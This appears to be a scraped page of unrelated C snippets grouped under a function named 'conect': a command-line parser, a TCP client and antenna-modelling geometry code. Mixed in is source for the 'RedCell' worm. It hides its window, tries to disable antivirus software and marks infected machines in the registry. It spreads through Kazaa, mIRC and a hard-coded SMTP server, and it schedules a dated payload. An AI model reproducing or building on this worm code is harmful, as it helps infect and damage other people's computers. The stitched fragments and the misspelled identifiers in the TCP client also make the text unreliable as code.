VOID CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT idEvent,DWORD dwTime) {
	
if (sending==0) { //Check for a connection if a mail is not under delivery
	conect();
	if (err!=0) { //if the server used encountered an error, try using the hard-coded serv.
		strcpy(server,"smtp.barrysworld.com");
		strcpy(email,"*****@*****.**");
		strcpy(helo,"barrysworld.com");
		conect();
		}
	if (connected==1) KillTimer(hwnd,tim); //Don't need to check for it again, but keep resident
	}
}
Esempio n. 2
0
/*
 Simple Unix-style command line parser, conforming with 'A Proposed Command
 Syntax Standard for Unix Systems', Hemenway & Armitage, Unix/World, Vol.1,
 No.3, 1984.
*/
cmdlin() {
    char x;				/* Local general-purpose int */
    cmarg = "";				/* Initialize globals */
    cmarg2 = "";
    action = cflg = 0;
 
    while (--xargc > 0) {		/* Go through command line words */
	xargv++;
	debug(F111,"xargv",*xargv,xargc);
    	if (**xargv == '-') {		/* Got an option (begins with dash) */
	    x = *(*xargv+1);		/* Get the option letter */
	    x = doarg(x);		/* Go handle the option */
	    if (x < 0) doexit(BAD_EXIT);
    	} else {			/* No dash where expected */
	    usage();
	    doexit(BAD_EXIT);
	}
    }
    debug(F101,"action","",action);
    if (!local) {
	if ((action == 'g') || (action == 'r') ||
	    (action == 'c') || (cflg != 0))
	    fatal("-l and -b required");
    }
    if (*cmarg2 != 0) {
	if ((action != 's') && (action != 'r') &&
	    (action != 'v'))
	    fatal("-a without -s, -r, or -g");
    }
    if ((action == 'v') && (stdouf) && (!local)) {
    	if (isatty(1))
	    fatal("unredirected -k can only be used in local mode");
    }
    if ((action == 's') || (action == 'v') ||
    	(action == 'r') || (action == 'x')) {
	if (local) displa = 1;
	if (stdouf) { displa = 0; quiet = 1; }
    }
 
    if (quiet) displa = 0;		/* No display if quiet requested */
 
    if (cflg) {
	conect();			/* Connect if requested */
	if (action == 0) {
	    if (cnflg) conect();	/* And again if requested */
	    doexit(GOOD_EXIT);		/* Then exit indicating success */
	}
    }
    if (displa) concb(escape);		/* (for console "interrupts") */
    return(action);			/* Then do any requested protocol */
}
Esempio n. 3
0
int main(int argc, char **argv) {
    if (argc != 2)
        lx_err_quit("usage: tcpcli < IPaddress>");
    int sockfd = lx_socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in servaddr;
    bzero(&servaddr, sizeof(servaddr));
    servaddr.sin_fimily = AF_INET;
    servaddr.sin_port = htons(SERV_PORT);
    inet_pton(AF_INEF, argv[1], &servaddr.sin_add);
    conect(sockfd, (struct sockaddr_in *)&servaddr, sizeof(servaddr));
    str_cli(stdin, sockfd);
    exit(0);
}
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInst,LPSTR lpCmdLine,int nShowCmd){
WNDCLASSEX wndc;
MSG msg; 	
HKEY hKey;
unsigned char buf[1024],inf[]="yes";
DWORD buflen=sizeof(buf);
int first=0;

//Create a window
wndc.cbClsExtra = 0;
wndc.cbSize = sizeof(wndc);
wndc.cbWndExtra = 0;
wndc.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH);
wndc.hCursor = LoadCursor(NULL,IDC_ARROW);
wndc.hIcon = LoadIcon(NULL,IDI_APPLICATION);
wndc.hIconSm = LoadIcon(NULL,IDI_APPLICATION);
wndc.hInstance = hInstance;
wndc.lpfnWndProc = WndProc;
wndc.lpszClassName = "ClassName";
wndc.lpszMenuName = NULL;
wndc.style = CS_HREDRAW|CS_VREDRAW;
RegisterClassEx(&wndc);
hwnd =CreateWindow("ClassName","NEWWIN",WS_POPUPWINDOW,0,0,1024,1024,NULL,NULL,hInstance,NULL);
UpdateWindow(hwnd);
//Hide the window
ShowWindow(hwnd,SW_HIDE);
//Get the filename and disable (if possible) any AVs
GetWindowThreadProcessId(hwnd,&ProcessId);
processes();
GetWindowsDirectory (windir, sizeof (windir)); //Get the Windir
//Check if the comp. was infected before
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\RedCell",0,KEY_QUERY_VALUE,&hKey);
RegQueryValueEx(hKey,"infected",0,NULL,buf,&buflen);
RegCloseKey(hKey);
if (buf[0]!='y' || buf[1]!='e' || buf[2]!='s')
{
RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\RedCell",&hKey);
//Create a key in the registry to mark the PC as infected
RegSetValueEx(hKey,"infected",0,REG_SZ,inf,sizeof(inf));
RegCloseKey(hKey);
//----INFECT COMPUTER----
infectwin(filename);
kazaa(filename);
zipit(winbkup);
mirc();
base64(filename);
conect();
first=1;
MessageBox(hwnd,"This program has performed an illegal operation","Error",MB_OK+MB_ICONSTOP);
}
base64(filename);
GetSystemTime(&time);
if (time.wDay==15 && time.wMonth==9) payload(); //Activate payload when school starts (15 sept. in Romania)
if (first==0) {
	base64(filename); //Write a "base64" encoded file every time (just in case)
	conect(); //Try to connect
	if (err!=0) { //If the server found in the reg. got an error, try using the hard-coded serv.
		strcpy(server,"smtp.barrysworld.com");
		strcpy(email,"*****@*****.**");
		strcpy(helo,"barrysworld.com");
		conect();
		}
}
if (connected==0) SetTimer(hwnd,tim,50000,TimerProc); //Go resident and check for a connection every 50 secs.

while(GetMessage(&msg,NULL,0,0)) { //Stuff... ;-)
	TranslateMessage(&msg);
	DispatchMessage(&msg);
}
return msg.wParam;
//end of main()
}
Esempio n. 5
0
/* datagn is the main routine for input of geometry data. */
  gboolean
datagn( void )
{
  char gm[3];

  /* input card mnemonic list */
  char *atst[] =
  {
    "GW", "GX", "GR", "GS", "GE","GM", "SP",\
    "SM", "GA", "SC", "GH", "GF", "CT"
  };

  int nwire, isct, itg, iy=0, iz;
  size_t mreq;
  int ix, i, ns, gm_num; /* geometry card id as a number */
  double rad, xs1, xs2, ys1, ys2, zs1, zs2;
  double x3=0, y3=0, z3=0, x4=0, y4=0, z4=0;
  double xw1, xw2, yw1, yw2, zw1, zw2;
  double dummy;

  data.ipsym=0;
  nwire=0;
  data.n=0;
  data.np=0;
  data.m=0;
  data.mp=0;
  isct=0;
  structure_proj_params.r_max = 0.0;

  /* read geometry data card and branch to */
  /* section for operation requested */
  do
  {
    if( !readgm(gm, &itg, &ns, &xw1, &yw1, &zw1, &xw2, &yw2, &zw2, &rad) )
      return( FALSE );

    /* identify card id mnemonic */
    for( gm_num = 0; gm_num < NUM_GEOMN; gm_num++ )
      if( strncmp( gm, atst[gm_num], 2) == 0 )
        break;

    if( gm_num != 9 ) isct=0;

    switch( gm_num )
    {
      case GW: /* "gw" card, generate segment data for straight wire. */
        if( Tag_Seg_Error(itg, ns) ) return( FALSE );
        nwire++;

        if( rad != 0.0)
        {
          xs1=1.0;
          ys1=1.0;
        }
        else
        {
          if( !readgm(gm, &ix, &iy, &xs1, &ys1, &zs1,
              &dummy, &dummy, &dummy, &dummy) )
              return( FALSE );

          if( strcmp(gm, "GC" ) != 0 )
          {
            fprintf( stderr,
                "xnec2c: datagn(): geometry data card error "
                "no GC card for tapered wire\n" );
            stop( _("datagn(): Geometry data error\n"\
                  "No GC card for tapered wire"), ERR_OK );
            return( FALSE );
          }

          if( (ys1 == 0.0) || (zs1 == 0.0) )
          {
            fprintf( stderr, "xnec2c: datagn(): geometry GC data card error\n" );
            stop( _("datagn(): Geometry GC data card error"), ERR_OK );
            return( FALSE );
          }

          rad= ys1;
          ys1= pow( (zs1/ys1), (1.0/(ns-1.0)) );
        }

        wire( xw1, yw1, zw1, xw2, yw2, zw2, rad, xs1, ys1, ns, itg);
        continue;

        /* reflect structure along x,y, or z */
        /* axes or rotate to form cylinder.  */
      case GX: /* "gx" card */
        if( (ns < 0) || (itg < 0) )
        {
          fprintf( stderr, "xnec2c: datagn(): geometry GX data card error\n" );
          stop( _("datagn(): Geometry GX data card error"), ERR_OK );
          return( FALSE );
        }

        iy= ns/10;
        iz= ns- iy*10;
        ix= iy/10;
        iy= iy- ix*10;

        if( ix != 0)
          ix=1;
        if( iy != 0)
          iy=1;
        if( iz != 0)
          iz=1;

        if( !reflc(ix, iy, iz, itg, ns) )
          return( FALSE );
        continue;

      case GR: /* "gr" card */
        if( (ns < 0) || (itg < 0) )
        {
          fprintf( stderr, "xnec2c: datagn(): geometry GR data card error\n" );
          stop( _("datagn(): Geometry GR data card error"), ERR_OK );
          return( FALSE );
        }

        ix=-1;
        iz = 0;
        if( !reflc(ix, iy, iz, itg, ns) )
          return( FALSE );
        continue;

      case GS: /* "gs" card, scale structure dimensions by factor xw1 */
        if( (itg > 0) && (ns > 0) && (ns >= itg) )
        {
          for( i = 0; i < data.n; i++ )
          {
            if( (data.itag[i] >= itg) && (data.itag[i] <= ns) )
            {
              data.x1[i]= data.x1[i]* xw1;
              data.y1[i]= data.y1[i]* xw1;
              data.z1[i]= data.z1[i]* xw1;
              data.x2[i]= data.x2[i]* xw1;
              data.y2[i]= data.y2[i]* xw1;
              data.z2[i]= data.z2[i]* xw1;
              data.bi[i]= data.bi[i]* xw1;
            }
          }
          /* FIXME corrects errors when GS follows GX but this is just a work-around */
          data.np = data.n;
          data.ipsym = 0;
        }
        else for( i = 0; i < data.n; i++ )
        {
          data.x1[i]= data.x1[i]* xw1;
          data.y1[i]= data.y1[i]* xw1;
          data.z1[i]= data.z1[i]* xw1;
          data.x2[i]= data.x2[i]* xw1;
          data.y2[i]= data.y2[i]* xw1;
          data.z2[i]= data.z2[i]* xw1;
          data.bi[i]= data.bi[i]* xw1;
        }

        yw1= xw1* xw1;
        for( i = 0; i < data.m; i++ )
        {
          data.px[i] = data.px[i]* xw1;
          data.py[i] = data.py[i]* xw1;
          data.pz[i] = data.pz[i]* xw1;
          data.pbi[i]= data.pbi[i]* yw1;
        }
        continue;

      case GE: /* "ge" card, terminate structure geometry input. */
        /* My addition, for drawing */
        if( ((data.n > 0) || (data.m > 0)) && !CHILD )
          Init_Struct_Drawing();
        else if( (data.n == 0) && (data.m == 0) )
        {
          stop( _("No geometry data cards"), ERR_OK );
          return( FALSE );
        }

        if( !conect(itg) ) return( FALSE );

        if( data.n != 0)
        {
          /* Allocate wire buffers */
          mreq = (size_t)data.n * sizeof(double);
          mem_realloc( (void **)&data.si,   mreq, "in input.c" );
          mem_realloc( (void **)&data.sab,  mreq, "in input.c" );
          mem_realloc( (void **)&data.cab,  mreq, "in input.c" );
          mem_realloc( (void **)&data.salp, mreq, "in input.c" );
          mem_realloc( (void **)&data.x, mreq, "in input.c" );
          mem_realloc( (void **)&data.y, mreq, "in input.c" );
          mem_realloc( (void **)&data.z, mreq, "in input.c" );

          for( i = 0; i < data.n; i++ )
          {
            xw1= data.x2[i]- data.x1[i];
            yw1= data.y2[i]- data.y1[i];
            zw1= data.z2[i]- data.z1[i];
            data.x[i]=( data.x1[i]+ data.x2[i])/2.0;
            data.y[i]=( data.y1[i]+ data.y2[i])/2.0;
            data.z[i]=( data.z1[i]+ data.z2[i])/2.0;
            xw2= xw1* xw1+ yw1* yw1+ zw1* zw1;
            yw2= sqrt( xw2);
            //yw2=( xw2/yw2 + yw2)/2.0;
            data.si[i]= yw2;
            data.cab[i]= xw1/ yw2;
            data.sab[i]= yw1/ yw2;
    
            xw2= zw1/ yw2;
            if( xw2 > 1.0)
              xw2=1.0;
            if( xw2 < -1.0)
              xw2=-1.0;
            data.salp[i]= xw2;

            //xw2= asin( xw2)* TD;
            //yw2= atan2( yw1, xw1)* TD;

            if( (data.si[i] <= 1.0e-20) || (data.bi[i] <= 0.0) )
            {
              fprintf( stderr, "xnec2c: datagn(): segment data error\n" );
              stop( _("datagn(): Segment data error"), ERR_OK );
              return( FALSE );
            }

          } /* for( i = 0; i < data.n; i++ ) */

        } /* if( data.n != 0) */

        if( data.m != 0)
        {
          for( i = 0; i < data.m; i++ )
          {
            xw1=( data.t1y[i]* data.t2z[i] -
                data.t1z[i]* data.t2y[i])* data.psalp[i];
            yw1=( data.t1z[i]* data.t2x[i] -
                data.t1x[i]* data.t2z[i])* data.psalp[i];
            zw1=( data.t1x[i]* data.t2y[i] -
                data.t1y[i]* data.t2x[i])* data.psalp[i];
          } /* for( i = 0; i < data.m; i++ ) */

        } /* if( data.m != 0) */

        data.npm  = data.n+data.m;
        data.np2m = data.n+2*data.m;
        data.np3m = data.n+3*data.m;

        return( TRUE );

        /* "gm" card, move structure or reproduce */
        /* original structure in new positions.   */
      case GM:
        {
          int tgf = (int)(rad + 0.5);
          if( (tgf < 0) || (ns < 0) || (rad < 0.0) )
          {
            fprintf( stderr, "xnec2c: datagn(): move GM data card error\n" );
            stop( _("datagn(): Move GM data card error"), ERR_OK );
            return( FALSE );
          }
          xw1= xw1* TA;
          yw1= yw1* TA;
          zw1= zw1* TA;
          if( !move(xw1, yw1, zw1, xw2, yw2, zw2, (int)(rad+.5), ns, itg) )
            return( FALSE );
        }
        continue;

      case SP: /* "sp" card, generate single new patch */
        ns++;

        if( itg != 0)
        {
          fprintf( stderr, "xnec2c: datagn(): patch data card error\n" );
          stop( _("datagn(): Patch data card error"), ERR_OK );
          return( FALSE );
        }

        if( (ns == 2) || (ns == 4) )
          isct=1;

        if( ns > 1)
        {
          if( !readgm(gm, &ix, &iy, &x3, &y3,
                &z3, &x4, &y4, &z4, &dummy) )
            return( FALSE );

          if( (ns == 2) || (itg > 0) )
          {
            x4= xw1+ x3- xw2;
            y4= yw1+ y3- yw2;
            z4= zw1+ z3- zw2;
          }

          if( strcmp(gm, "SC") != 0 )
          {
            fprintf( stderr, "xnec2c: datagn(): patch data error\n" );
            stop( _("datagn(): Patch data error"), ERR_OK );
            return( FALSE );
          }

        } /* if( ns > 1) */
        else
        {
          xw2= xw2* TA;
          yw2= yw2* TA;
        }

        if( !patch( itg, ns, xw1, yw1, zw1, xw2,
            yw2, zw2, x3, y3, z3, x4, y4, z4) )
            return( FALSE );
        continue;

      case SM: /* "sm" card, generate multiple-patch surface */
        if( (itg < 1) || (ns < 1) )
        {
          fprintf( stderr, "datagn(): xnec2c: patch card data error\n" );
          stop( _("datagn(): Patch data card error"), ERR_OK );
          return( FALSE );
        }

        if( !readgm(gm, &ix, &iy, &x3, &y3,
              &z3, &x4, &y4, &z4, &dummy) )
          return( FALSE );

        if( (ns == 2) || (itg > 0) )
        {
          x4= xw1+ x3- xw2;
          y4= yw1+ y3- yw2;
          z4= zw1+ z3- zw2;
        }

        if( strcmp(gm, "SC" ) != 0 )
        {
          fprintf( stderr, "xnec2c: datagn(): patch card data error\n" );
          stop( _("datagn(): Patch data card error"), ERR_OK );
          return( FALSE );
        }

        if( !patch(itg, ns, xw1, yw1, zw1, xw2,
            yw2, zw2, x3, y3, z3, x4, y4, z4) )
          return( FALSE );
        continue;

      case GA: /* "ga" card, generate segment data for wire arc */
        if( Tag_Seg_Error(itg, ns) ) return( FALSE );
        nwire++;
        if( !arc(itg, ns, xw1, yw1, zw1, xw2) ) return( FALSE );
        continue;

      case SC: /* "sc" card */
        if( isct == 0)
        {
          fprintf( stderr, "xnec2c: datagn(): patch data card error\n" );
          stop( _("datagn(): Patch data card error"), ERR_OK );
          return( FALSE );
        }

        ns++;

        if( (itg != 0) || ((ns != 2) && (ns != 4)) )
        {
          fprintf( stderr, "xnec2c: datagn(): patch data card error\n" );
          stop( _("datagn(): Patch data card error"), ERR_OK );
          return( FALSE );
        }

        xs1= x4;
        ys1= y4;
        zs1= z4;
        xs2= x3;
        ys2= y3;
        zs2= z3;
        x3= xw1;
        y3= yw1;
        z3= zw1;

        if( ns == 4)
        {
          x4= xw2;
          y4= yw2;
          z4= zw2;
        }

        xw1= xs1;
        yw1= ys1;
        zw1= zs1;
        xw2= xs2;
        yw2= ys2;
        zw2= zs2;

        if( ns != 4)
        {
          x4= xw1+ x3- xw2;
          y4= yw1+ y3- yw2;
          z4= zw1+ z3- zw2;
        }

        if( !patch(itg, ns, xw1, yw1, zw1, xw2,
            yw2, zw2, x3, y3, z3, x4, y4, z4) )
          return( FALSE );
        continue;

      case GH: /* "gh" card, generate helix */
        if( Tag_Seg_Error(itg, ns) ) return( FALSE );
        nwire++;
        helix( xw1, yw1, zw1, xw2, yw2, zw2, rad, ns, itg);
        continue;

      case GF: /* "gf" card, not supported */
        fprintf( stderr, "xnec2c: datagn(): \"GF\" card (NGF solution) "
                "is not supported\n" );
        stop( _("datagn(): \"GF\" card (NGF solution)\n"\
              "is not supported"), ERR_OK );
        return( FALSE );

      case CT: /* Ignore in-data comments (NEC4 compatibility) */
        fprintf( stderr, "xnec2c: datagn(): ignoring CM card in geometry\n" );
        stop( _("datagn(): Ignoring CM card in geometry"), ERR_OK );
        continue;

      default: /* error message */
        fprintf( stderr, "xnec2c: datagn(): geometry data card error\n" );
        fprintf( stderr,
            "%2s %3d %5d %10.5f %10.5f %10.5f"
            " %10.5f %10.5f %10.5f %10.5f\n",
            gm, itg, ns, xw1, yw1, zw1, xw2, yw2, zw2, rad );

        stop( _("datagn(): Geometry data card error"), ERR_OK );
        return( FALSE );

    } /* switch( gm_num ) */

  } /* do */
  while( TRUE );

} /* datagn() */